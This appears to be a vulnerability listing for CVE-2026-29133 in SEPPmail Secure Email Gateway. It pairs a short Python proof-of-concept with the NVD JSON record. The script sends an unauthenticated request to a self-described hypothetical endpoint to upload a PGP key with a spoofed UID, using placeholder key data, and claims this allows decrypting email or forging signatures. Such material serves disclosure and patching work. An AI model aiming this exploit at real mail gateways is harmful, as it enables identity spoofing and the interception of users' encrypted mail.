CVE-2026-29133

import requests # Target URL for key upload (hypothetical endpoint based on vulnerability description) target_url = "https://target-seppmail-gateway/api/key/upload" # Malicious PGP Public Key block with a spoofed UID ([email protected]) # The attacker holds the corresponding private key for this public key. pgp_key_data = """-----BEGIN PGP PUBLIC KEY BLOCK----- mQINBGI... (Base64 encoded key data) ... =abcde -----END PGP PUBLIC KEY BLOCK-----""" headers = { "User-Agent": "Mozilla/5.0 (Compatible; CVE-2026-29133 PoC)", "Content-Type": "application/x-www-form-urlencoded" } # Payload containing the email address to spoof and the malicious key payload = { "email": "[email protected]", "public_key": pgp_key_data } try: # Exploit: Send the upload request without authentication (PR:N) response = requests.post(target_url, data=payload, headers=headers, verify=False, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Malicious PGP key uploaded for [email protected]") print("[+] Attacker can now decrypt emails or forge signatures.") else: print(f"[-] Upload failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] Error occurred: {e}")

{"cve": {"id": "CVE-2026-29133", "sourceIdentifier": "[email protected]", "published": "2026-04-02T09:16:21.483", "lastModified": "2026-04-16T19:06:51.800", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SEPPmail Secure Email Gateway before version 15.0.3 allows an attacker to upload PGP keys with UIDs that do not match their email address."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:seppmail:secure_email_gateway:*:*:*:*:*:*:*:*", "versionEndExcluding": "15.0.3", "matchCriteriaId": "E3729650-81CA-4311-94BF-14A7A191F8D1"}]}]}], "references": [{"url": "https://downloads.seppmail.com/extrelnotes/150/ERN15.0.html#seppmail-vulnerability-disclosure-1503", "source": "[email protected]", "tags": ["Release Notes"]}]}}